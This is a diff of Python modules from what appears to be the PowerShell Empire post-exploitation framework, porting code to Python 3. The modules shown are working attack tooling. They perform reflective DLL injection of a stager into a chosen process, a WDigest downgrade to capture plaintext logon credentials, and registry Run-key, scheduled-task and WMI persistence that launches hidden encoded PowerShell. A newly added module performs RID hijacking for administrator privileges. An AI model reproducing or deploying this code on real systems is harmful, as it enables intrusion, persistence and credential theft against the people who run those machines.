63 'Description' : 'Proxy to use for request (default, none, or other).',
64 'Required' : False,
65 'Value' : 'default'
67 'Proxy': {
68 'Description': 'Proxy to use for request (default, none, or other).',
69 'Required': False,
70 'Value': 'default'
6671 },
67 'Arch' : {
68 'Description' : 'Architecture of the .dll to generate (x64 or x86).',
69 'Required' : False,
70 'Value' : 'x64'
72 'Arch': {
73 'Description': 'Architecture of the .dll to generate (x64 or x86).',
74 'Required': False,
75 'Value': 'x64'
7176 },
72 'ProxyCreds' : {
73 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
74 'Required' : False,
75 'Value' : 'default'
77 'ProxyCreds': {
78 'Description': r'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
79 'Required': False,
80 'Value': 'default'
7681 }
7782 }
78
83
7984 # save off a copy of the mainMenu object to access external functionality
8085 # like listeners/agent handlers/etc.
8186 self.mainMenu = mainMenu
82
87
8388 for param in params:
8489 # parameter format is [Name, Value]
8590 option, value = param
8691 if option in self.options:
8792 self.options[option]['Value'] = value
88
89
93
9094 def generate(self, obfuscate=False, obfuscationCommand=""):
91
95
9296 def rand_text_alphanumeric(size=15, chars=string.ascii_uppercase + string.digits):
9397 return ''.join(random.choice(chars) for _ in range(size))
94
98
9599 fname = rand_text_alphanumeric() + ".dll"
96100 listenerName = self.options['Listener']['Value']
97101 procName = self.options['ProcName']['Value'].strip()
98102 uploadPath = self.options['UploadPath']['Value'].strip()
99103 arch = self.options['Arch']['Value'].strip()
100104 fullUploadPath = uploadPath + "\\" + fname
101
105
102106 if procName == '':
103 print helpers.color("[!] ProcName must be specified.")
107 print(helpers.color("[!] ProcName must be specified."))
104108 return ''
105
109
106110 # staging options
107111 userAgent = self.options['UserAgent']['Value']
108112 proxy = self.options['Proxy']['Value']
109113 proxyCreds = self.options['ProxyCreds']['Value']
110
114
111115 # read in the common module source code
112116 moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-ReflectivePEInjection.ps1"
113117 if obfuscate:
116120 try:
117121 f = open(moduleSource, 'r')
118122 except:
119 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
123 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
120124 return ""
121
125
122126 moduleCode = f.read()
123127 f.close()
124
128
125129 script = moduleCode
126130 scriptEnd = ""
127131 if not self.mainMenu.listeners.is_listener_valid(listenerName):
128132 # not a valid listener, return nothing for the script
129 print helpers.color("[!] Invalid listener: %s" %(listenerName))
133 print(helpers.color("[!] Invalid listener: %s" % (listenerName)))
130134 return ''
131135 else:
132136 # generate the PowerShell one-liner with all of the proper options set
133 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
134
137 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True,
138 userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
139
135140 if launcher == '':
136 print helpers.color('[!] Error in launcher generation.')
141 print(helpers.color('[!] Error in launcher generation.'))
137142 return ''
138143 else:
139144 launcherCode = launcher.split(' ')[-1]
140
145
141146 scriptEnd += "Invoke-ReflectivePEInjection -PEPath %s -ProcName %s " % (fullUploadPath, procName)
142
147
143148 dll = self.mainMenu.stagers.generate_dll(launcherCode, arch)
144
149
145150 UploadScript = self.mainMenu.stagers.generate_upload(dll, fullUploadPath)
146
151
147152 if obfuscate:
148 scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
149
153 scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd,
154 obfuscationCommand=obfuscationCommand)
155
150156 script += "\r\n"
151157 script += UploadScript
152158 script += "\r\n"
153159 script += scriptEnd
154160 script += "\r\n"
155161 script += "Remove-Item -Path %s" % fullUploadPath
156
162
157163 return script
+2
-1
lib/modules/powershell/management/restart.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+9
-6
lib/modules/powershell/management/runas.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
9497 try:
9598 f = open(moduleSource, 'r')
9699 except:
97 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
100 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
98101 return ""
99102
100103 script = f.read()
107110 if credID != "":
108111
109112 if not self.mainMenu.credentials.is_credential_valid(credID):
110 print helpers.color("[!] CredID is invalid!")
113 print(helpers.color("[!] CredID is invalid!"))
111114 return ""
112115
113116 (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
114117
115118 if credType != "plaintext":
116 print helpers.color("[!] A CredID with a plaintext password must be used!")
119 print(helpers.color("[!] A CredID with a plaintext password must be used!"))
117120 return ""
118121
119122 if domainName != "":
124127 self.options["Password"]['Value'] = password
125128
126129 if self.options["Domain"]['Value'] == "" or self.options["UserName"]['Value'] == "" or self.options["Password"]['Value'] == "":
127 print helpers.color("[!] Domain/UserName/Password or CredID required!")
130 print(helpers.color("[!] Domain/UserName/Password or CredID required!"))
128131 return ""
129132
130133
131 for option,values in self.options.iteritems():
134 for option,values in self.options.items():
132135 if option.lower() != "agent" and option.lower() != "credid":
133136 if values['Value'] and values['Value'] != '':
134137 if values['Value'].lower() == "true":
+7
-4
lib/modules/powershell/management/shinject.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
25
3 class Module:
6 class Module(object):
47
58 def __init__(self, mainMenu, params=[]):
69
114117 try:
115118 f = open(moduleSource, 'r')
116119 except:
117 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
120 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
118121 return ""
119122
120123 moduleCode = f.read()
128131
129132 if not self.mainMenu.listeners.is_listener_valid(listenerName):
130133 # not a valid listener, return nothing for the script
131 print helpers.color("[!] Invalid listener: {}".format(listenerName))
134 print(helpers.color("[!] Invalid listener: {}".format(listenerName)))
132135 return ''
133136 else:
134137 # generate the PowerShell one-liner with all of the proper options set
135138 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
136139
137140 if launcher == '':
138 print helpers.color('[!] Error in launcher generation.')
141 print(helpers.color('[!] Error in launcher generation.'))
139142 return ''
140143 else:
141144 launcherCode = launcher.split(' ')[-1]
+2
-1
lib/modules/powershell/management/sid_to_user.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+4
-2
lib/modules/powershell/management/spawn.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
2 class Module:
4 class Module(object):
35
46 def __init__(self, mainMenu, params=[]):
57
8587 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
8688
8789 if launcher == "":
88 print helpers.color("[!] Error in launcher command generation.")
90 print(helpers.color("[!] Error in launcher command generation."))
8991 return ""
9092 else:
9193 # transform the backdoor into something launched by powershell.exe
+6
-3
lib/modules/powershell/management/spawnas.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
99102 try:
100103 f = open(moduleSource, 'r')
101104 except:
102 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
105 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
103106 return ""
104107
105108 script = f.read()
110113 if credID != "":
111114
112115 if not self.mainMenu.credentials.is_credential_valid(credID):
113 print helpers.color("[!] CredID is invalid!")
116 print(helpers.color("[!] CredID is invalid!"))
114117 return ""
115118
116119 (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
+4
-2
lib/modules/powershell/management/switch_listener.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
2 class Module:
4 class Module(object):
35
46 def __init__(self, mainMenu, params=[]):
57
5961 listenerName = self.options['Listener']['Value']
6062
6163 if listenerName not in self.mainMenu.listeners.activeListeners:
62 print helpers.color("[!] Listener '%s' doesn't exist!" % (listenerName))
64 print(helpers.color("[!] Listener '%s' doesn't exist!" % (listenerName)))
6365 return ''
6466
6567 activeListener = self.mainMenu.listeners.activeListeners[listenerName]
+6
-3
lib/modules/powershell/management/timestomp.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
9093 try:
9194 f = open(moduleSource, 'r')
9295 except:
93 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
96 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
9497 return ""
9598
9699 moduleCode = f.read()
100103
101104 scriptEnd = "\nSet-MacAttribute"
102105
103 for option,values in self.options.iteritems():
106 for option,values in self.options.items():
104107 if option.lower() != "agent":
105108 if values['Value'] and values['Value'] != '':
106109 scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
+2
-1
lib/modules/powershell/management/user_to_sid.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+6
-3
lib/modules/powershell/management/vnc.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8285 try:
8386 f = open(moduleSource, 'r')
8487 except:
85 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
88 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8689 return ""
8790
8891 moduleCode = f.read()
9295
9396 scriptEnd = "\nInvoke-Vnc"
9497
95 for option,values in self.options.iteritems():
98 for option,values in self.options.items():
9699 if option.lower() != "agent":
97100 if values['Value'] and values['Value'] != '':
98101 if values['Value'].lower() == "true":
+40
-37
lib/modules/powershell/management/wdigest_downgrade.py less more
0 from builtins import str
1 from builtins import object
02 from lib.common import helpers
13
2 class Module:
34
5 class Module(object):
6
47 def __init__(self, mainMenu, params=[]):
5
8
69 self.info = {
710 'Name': 'Invoke-WdigestDowngrade',
8
11
912 'Author': ['@harmj0y'],
10
13
1114 'Description': ("Sets wdigest on the machine to explicitly use "
1215 "logon credentials. Counters kb2871997."),
13
14 'Background' : False,
15
16 'OutputExtension' : None,
1716
18 'NeedsAdmin' : True,
19
20 'OpsecSafe' : False,
17 'Background': False,
2118
22 'Language' : 'powershell',
23
24 'MinLanguageVersion' : '2',
19 'OutputExtension': None,
20
21 'NeedsAdmin': True,
22
23 'OpsecSafe': False,
24
25 'Language': 'powershell',
26
27 'MinLanguageVersion': '2',
2528
2629 'Comments': [
2730 'https://www.trustedsec.com/april-2015/dumping-wdigest-creds-with-meterpreter-mimikatzkiwi-in-windows-8-1/'
2831 ]
2932 }
30
33
3134 # any options needed by the module, settable during runtime
3235 self.options = {
3336 # format:
3437 # value_name : {description, required, default_value}
35 'Agent' : {
36 'Description' : 'Agent to run module on.',
37 'Required' : True,
38 'Value' : ''
38 'Agent': {
39 'Description': 'Agent to run module on.',
40 'Required': True,
41 'Value': ''
3942 },
40 'NoLock' : {
41 'Description' : "Switch. Don't lock the workstation after registry change.",
42 'Required' : False,
43 'Value' : ''
43 'NoLock': {
44 'Description': "Switch. Don't lock the workstation after registry change.",
45 'Required': False,
46 'Value': ''
4447 },
45 'Cleanup' : {
46 'Description' : 'Switch. Disable the registry key.',
47 'Required' : False,
48 'Value' : ''
48 'Cleanup': {
49 'Description': 'Switch. Disable the registry key.',
50 'Required': False,
51 'Value': ''
4952 }
5053 }
51
54
5255 # save off a copy of the mainMenu object to access external functionality
5356 # like listeners/agent handlers/etc.
5457 self.mainMenu = mainMenu
55
58
5659 for param in params:
5760 # parameter format is [Name, Value]
5861 option, value = param
5962 if option in self.options:
6063 self.options[option]['Value'] = value
61
62
64
6365 def generate(self, obfuscate=False, obfuscationCommand=""):
6466
6567 script = """
119121
120122 if($Cleanup){
121123 try {
122 Remove-ItemProperty -Force -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -ErrorAction Stop
124 Remove-ItemProperty -Force -Path "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest" -Name "UseLogonCredential" -ErrorAction Stop
123125 "Wdigest set to not use logoncredential."
124126 }
125127 catch {
126 "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential not set"
128 "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest\\UseLogonCredential not set"
127129 }
128130 }
129131 else{
137139 }
138140 }
139141 """
140
142
141143 script += "Invoke-WdigestDowngrade"
142
144
143145 # add any arguments to the end execution of the script
144 for option,values in self.options.iteritems():
146 for option, values in self.options.items():
145147 if option.lower() != "agent":
146148 if values['Value'] and values['Value'] != '':
147149 if values['Value'].lower() == "true":
150152 else:
151153 script += " -" + str(option) + " " + str(values['Value'])
152154 if obfuscate:
153 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
155 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script,
156 obfuscationCommand=obfuscationCommand)
154157 return script
+4
-2
lib/modules/powershell/management/zipfolder.py less more
0 from builtins import str
1 from builtins import object
02 from lib.common import helpers
13
2 class Module:
4 class Module(object):
35
46 def __init__(self, mainMenu, params=[]):
57
8789 }
8890 Invoke-ZipFolder"""
8991
90 for option,values in self.options.iteritems():
92 for option,values in self.options.items():
9193 if option.lower() != "agent":
9294 if values['Value'] and values['Value'] != '':
9395 script += " -" + str(option) + " " + str(values['Value'])
+116
-113
lib/modules/powershell/persistence/elevated/registry.py less more
0 from __future__ import print_function
1 from builtins import object
02 import os
13 from lib.common import helpers
24
3 class Module:
45
6 class Module(object):
7
58 def __init__(self, mainMenu, params=[]):
6
9
710 self.info = {
811 'Name': 'Invoke-Registry',
9
12
1013 'Author': ['@mattifestation', '@harmj0y'],
11
14
1215 'Description': ('Persist a stager (or script) via the HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run '
1316 'registry key. This has an easy detection/removal rating.'),
14
15 'Background' : False,
16
17 'OutputExtension' : None,
18
19 'NeedsAdmin' : True,
20
21 'OpsecSafe' : False,
22
23 'Language' : 'powershell',
24
25 'MinLanguageVersion' : '2',
17
18 'Background': False,
19
20 'OutputExtension': None,
21
22 'NeedsAdmin': True,
23
24 'OpsecSafe': False,
25
26 'Language': 'powershell',
27
28 'MinLanguageVersion': '2',
2629
2730 'Comments': [
2831 'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1'
2932 ]
3033 }
31
34
3235 # any options needed by the module, settable during runtime
3336 self.options = {
3437 # format:
3538 # value_name : {description, required, default_value}
36 'Agent' : {
37 'Description' : 'Agent to run module on.',
38 'Required' : True,
39 'Value' : ''
40 },
41 'Listener' : {
42 'Description' : 'Listener to use.',
43 'Required' : False,
44 'Value' : ''
45 },
46 'KeyName' : {
47 'Description' : 'Key name for the run trigger.',
48 'Required' : True,
49 'Value' : 'Updater'
50 },
51 'RegPath' : {
52 'Description' : 'Registry location to store the script code. Last element is the key name.',
53 'Required' : False,
54 'Value' : 'HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug'
55 },
56 'ADSPath' : {
57 'Description' : 'Alternate-data-stream location to store the script code.',
58 'Required' : False,
59 'Value' : ''
60 },
61 'ExtFile' : {
62 'Description' : 'Use an external file for the payload instead of a stager.',
63 'Required' : False,
64 'Value' : ''
65 },
66 'Cleanup' : {
67 'Description' : 'Switch. Cleanup the trigger and any script from specified location.',
68 'Required' : False,
69 'Value' : ''
70 },
71 'UserAgent' : {
72 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
73 'Required' : False,
74 'Value' : 'default'
75 },
76 'Proxy' : {
77 'Description' : 'Proxy to use for request (default, none, or other).',
78 'Required' : False,
79 'Value' : 'default'
80 },
81 'ProxyCreds' : {
82 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
83 'Required' : False,
84 'Value' : 'default'
39 'Agent': {
40 'Description': 'Agent to run module on.',
41 'Required': True,
42 'Value': ''
43 },
44 'Listener': {
45 'Description': 'Listener to use.',
46 'Required': False,
47 'Value': ''
48 },
49 'KeyName': {
50 'Description': 'Key name for the run trigger.',
51 'Required': True,
52 'Value': 'Updater'
53 },
54 'RegPath': {
55 'Description': 'Registry location to store the script code. Last element is the key name.',
56 'Required': False,
57 'Value': r'HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug'
58 },
59 'ADSPath': {
60 'Description': 'Alternate-data-stream location to store the script code.',
61 'Required': False,
62 'Value': ''
63 },
64 'ExtFile': {
65 'Description': 'Use an external file for the payload instead of a stager.',
66 'Required': False,
67 'Value': ''
68 },
69 'Cleanup': {
70 'Description': 'Switch. Cleanup the trigger and any script from specified location.',
71 'Required': False,
72 'Value': ''
73 },
74 'UserAgent': {
75 'Description': 'User-agent string to use for the staging request (default, none, or other).',
76 'Required': False,
77 'Value': 'default'
78 },
79 'Proxy': {
80 'Description': 'Proxy to use for request (default, none, or other).',
81 'Required': False,
82 'Value': 'default'
83 },
84 'ProxyCreds': {
85 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
86 'Required': False,
87 'Value': 'default'
8588 }
8689 }
87
90
8891 # save off a copy of the mainMenu object to access external functionality
8992 # like listeners/agent handlers/etc.
9093 self.mainMenu = mainMenu
91
94
9295 for param in params:
9396 # parameter format is [Name, Value]
9497 option, value = param
9598 if option in self.options:
9699 self.options[option]['Value'] = value
97
98
100
99101 def generate(self, obfuscate=False, obfuscationCommand=""):
100102
101103 listenerName = self.options['Listener']['Value']
102
104
103105 # trigger options
104106 keyName = self.options['KeyName']['Value']
105
107
106108 # storage options
107109 regPath = self.options['RegPath']['Value']
108110 adsPath = self.options['ADSPath']['Value']
109
111
110112 # management options
111113 extFile = self.options['ExtFile']['Value']
112114 cleanup = self.options['Cleanup']['Value']
113
115
114116 # staging options
115117 userAgent = self.options['UserAgent']['Value']
116118 proxy = self.options['Proxy']['Value']
117119 proxyCreds = self.options['ProxyCreds']['Value']
118
119
120
120121 statusMsg = ""
121122 locationString = ""
122
123
123124 # for cleanup, remove any script from the specified storage location
124125 # and remove the specified trigger
125126 if cleanup.lower() == 'true':
126127 if adsPath != '':
127128 # remove the ADS storage location
128129 if ".txt" not in adsPath:
129 print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt")
130 print(helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"))
130131 return ""
131
132 script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > "+adsPath+"\"};"
132
133 script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > " + adsPath + "\"};"
133134 else:
134135 # remove the script stored in the registry at the specified reg path
135136 path = "\\".join(regPath.split("\\")[0:-1])
136137 name = regPath.split("\\")[-1]
137 script = "$RegPath = '"+regPath+"';"
138 script = "$RegPath = '" + regPath + "';"
138139 script += "$parts = $RegPath.split('\\');"
139140 script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
140141 script += "$name = $parts[-1];"
141142 script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;"
142
143 script += "Remove-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+";"
143
144 script += "Remove-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + keyName + ";"
144145 script += "'Registry persistence removed.'"
145
146
146147 return script
147
148
148149 if extFile != '':
149 # read in an external file as the payload and build a
150 # read in an external file as the payload and build a
150151 # base64 encoded version as encScript
151152 if os.path.exists(extFile):
152153 f = open(extFile, 'r')
153154 fileData = f.read()
154155 f.close()
155
156
156157 # unicode-base64 encode the script for -enc launching
157158 encScript = helpers.enc_powershell(fileData)
158159 statusMsg += "using external file " + extFile
159
160
160161 else:
161 print helpers.color("[!] File does not exist: " + extFile)
162 print(helpers.color("[!] File does not exist: " + extFile))
162163 return ""
163
164
164165 else:
165166 # if an external file isn't specified, use a listener
166167 if not self.mainMenu.listeners.is_listener_valid(listenerName):
167168 # not a valid listener, return nothing for the script
168 print helpers.color("[!] Invalid listener: " + listenerName)
169 print(helpers.color("[!] Invalid listener: " + listenerName))
169170 return ""
170
171
171172 else:
172173 # generate the PowerShell one-liner with all of the proper options set
173 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
174 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True,
175 userAgent=userAgent, proxy=proxy,
176 proxyCreds=proxyCreds)
174177
175178 encScript = launcher.split(" ")[-1]
176179 statusMsg += "using listener " + listenerName
177
178 # store the script in the specified alternate data stream location
180
181 # store the script in the specified alternate data stream location
179182 if adsPath != '':
180 if ".txt" not in adsPath:
181 print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt")
182 return ""
183
184 script = "Invoke-Command -ScriptBlock {cmd /C \"echo "+encScript+" > "+adsPath+"\"};"
185
186 locationString = "$(cmd /c \''more < "+adsPath+"\'')"
183 if ".txt" not in adsPath:
184 print(helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"))
185 return ""
186
187 script = "Invoke-Command -ScriptBlock {cmd /C \"echo " + encScript + " > " + adsPath + "\"};"
188
189 locationString = "$(cmd /c \''more < " + adsPath + "\'')"
187190 else:
188191 # otherwise store the script into the specified registry location
189192 path = "\\".join(regPath.split("\\")[0:-1])
190193 name = regPath.split("\\")[-1]
191
194
192195 statusMsg += " stored in " + regPath + "."
193 script = "$RegPath = '"+regPath+"';"
196 script = "$RegPath = '" + regPath + "';"
194197 script += "$parts = $RegPath.split('\\');"
195198 script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
196199 script += "$name = $parts[-1];"
197 script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "+encScript+";"
198
200 script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + encScript + ";"
201
199202 # note where the script is stored
200 locationString = "$((gp "+path+" "+name+")."+name+")"
201
202
203 script += "$null=Set-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+" -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x="+locationString+";powershell -Win Hidden -enc $x\"';"
204
205 script += "'Registry persistence established "+statusMsg+"'"
203 locationString = "$((gp " + path + " " + name + ")." + name + ")"
204
205 script += "$null=Set-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + keyName + " -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=" + locationString + ";powershell -Win Hidden -enc $x\"';"
206
207 script += "'Registry persistence established " + statusMsg + "'"
206208 if obfuscate:
207 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
209 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script,
210 obfuscationCommand=obfuscationCommand)
208211 return script
+116
-0
lib/modules/powershell/persistence/elevated/rid_hijack.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
3 from lib.common import helpers
4
5 class Module:
6
7 def __init__(self, mainMenu, params=[]):
8
9 self.info = {
10 'Name': 'Invoke-RIDHijacking',
11
12 'Author': ['Sebastian Castro @r4wd3r'],
13
14 'Description': ('Runs Invoke-RIDHijacking. Allows setting desired privileges to an existent account '
15 'by modifying the Relative Identifier value copy used to create the access token. '
16 'This module needs administrative privileges.'
17 ),
18
19 'Background': False,
20
21 'OutputExtension': None,
22
23 'NeedsAdmin': True,
24
25 'OpsecSafe': True,
26
27 'Language': 'powershell',
28
29 'MinLanguageVersion': '2',
30
31 'Comments': [
32 'https://github.com/r4wd3r/RID-Hijacking',
33 'https://r4wsecurity.blogspot.com/2017/12/rid-hijacking-maintaining-access-on.html',
34 'https://csl.com.co/rid-hijacking/'
35 ]
36 }
37
38 self.options = {
39 'Agent': {
40 'Description': 'Agent to run module on.',
41 'Required' : True,
42 'Value' : ''
43 },
44 'RID' : {
45 'Description': 'RID to set to the specified account. Default 500.',
46 'Required' : False,
47 'Value' : '500'
48 },
49 'User' : {
50 'Description': 'User to set the defined RID.',
51 'Required' : False,
52 'Value' : ''
53 },
54 'UseGuest' : {
55 'Description': 'Switch. Set the defined RID to the Guest account.',
56 'Required' : False,
57 'Value' : ''
58 },
59 'Password' : {
60 'Description': 'Password to set to the defined account.',
61 'Required' : False,
62 'Value' : ''
63 },
64 'Enable' : {
65 'Description': 'Switch. Enable the defined account.',
66 'Required' : False,
67 'Value' : ''
68 }
69 }
70
71 # Save off a copy of the mainMenu object to access external
72 # functionality like listeners/agent handlers/etc.
73 self.mainMenu = mainMenu
74
75 # During instantiation, any settable option parameters are passed as
76 # an object set to the module and the options dictionary is
77 # automatically set. This is mostly in case options are passed on
78 # the command line.
79 if params:
80 for param in params:
81 # Parameter format is [Name, Value]
82 option, value = param
83 if option in self.options:
84 self.options[option]['Value'] = value
85
86
87 def generate(self, obfuscate=False, obfuscationCommand=""):
88
89 moduleSource = self.mainMenu.installPath + "/data/module_source/persistence/Invoke-RIDHijacking.ps1"
90 if obfuscate:
91 helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
92 moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
93 try:
94 f = open(moduleSource, 'r')
95 except:
96 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
97 return ""
98
99 moduleCode = f.read()
100 f.close()
101
102 script = moduleCode
103 scriptEnd = "Invoke-RIDHijacking"
104
105 for option, values in self.options.items():
106 if option.lower() != "agent":
107 if values['Value'] and values['Value'] != '':
108 if values['Value'].lower() == "true":
109 scriptEnd += " -" + str(option)
110 else:
111 scriptEnd += " -" + str(option) + " " + str(values['Value'])
112 if obfuscate:
113 scriptEnd = helpers.obfuscate(psScript=scriptEnd, installPath=self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
114 script += scriptEnd
115 return script⏎
+10
-7
lib/modules/powershell/persistence/elevated/schtasks.py less more
0 from __future__ import print_function
1 from builtins import object
02 import os
13 from lib.common import helpers
24
3 class Module:
5
6 class Module(object):
47
58 def __init__(self, mainMenu, params=[]):
69
6568 'RegPath' : {
6669 'Description' : 'Registry location to store the script code. Last element is the key name.',
6770 'Required' : False,
68 'Value' : 'HKLM:\Software\Microsoft\Network\debug'
71 'Value' : r'HKLM:\Software\Microsoft\Network\debug'
6972 },
7073 'ADSPath' : {
7174 'Description' : 'Alternate-data-stream location to store the script code.',
142145 if adsPath != '':
143146 # remove the ADS storage location
144147 if ".txt" not in adsPath:
145 print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt")
148 print(helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"))
146149 return ""
147150
148151 script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > "+adsPath+"\"};"
176179 statusMsg += "using external file " + extFile
177180
178181 else:
179 print helpers.color("[!] File does not exist: " + extFile)
182 print(helpers.color("[!] File does not exist: " + extFile))
180183 return ""
181184
182185 else:
183186 # if an external file isn't specified, use a listener
184187 if not self.mainMenu.listeners.is_listener_valid(listenerName):
185188 # not a valid listener, return nothing for the script
186 print helpers.color("[!] Invalid listener: " + listenerName)
189 print(helpers.color("[!] Invalid listener: " + listenerName))
187190 return ""
188191
189192 else:
197200 if adsPath != '':
198201 # store the script in the specified alternate data stream location
199202 if ".txt" not in adsPath:
200 print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt")
203 print(helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"))
201204 return ""
202205
203206 script = "Invoke-Command -ScriptBlock {cmd /C \"echo "+encScript+" > "+adsPath+"\"};"
224227
225228 # sanity check to make sure we haven't exceeded the cmd.exe command length max
226229 if len(triggerCmd) > 259:
227 print helpers.color("[!] Warning: trigger command exceeds the maximum of 259 characters.")
230 print(helpers.color("[!] Warning: trigger command exceeds the maximum of 259 characters."))
228231 return ""
229232
230233 if onLogon != '':
+119
-94
lib/modules/powershell/persistence/elevated/wmi.py less more
0 from __future__ import print_function
1 from builtins import object
02 import os
13 from lib.common import helpers
24
3 class Module:
4
5
6 class Module(object):
57 def __init__(self, mainMenu, params=[]):
68
79 self.info = {
911
1012 'Author': ['@mattifestation', '@harmj0y'],
1113
12 'Description': ('Persist a stager (or script) using a permanent WMI subscription. This has a difficult detection/removal rating.'),
13
14 'Background' : False,
15
16 'OutputExtension' : None,
17
18 'NeedsAdmin' : True,
19
20 'OpsecSafe' : False,
21
22 'Language' : 'powershell',
23
24 'MinLanguageVersion' : '2',
25
14 'Description': (
15 'Persist a stager (or script) using a permanent WMI subscription. This has a difficult detection/removal rating.'),
16
17 'Background': False,
18
19 'OutputExtension': None,
20
21 'NeedsAdmin': True,
22
23 'OpsecSafe': False,
24
25 'Language': 'powershell',
26
27 'MinLanguageVersion': '2',
28
2629 'Comments': [
2730 'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1'
2831 ]
3235 self.options = {
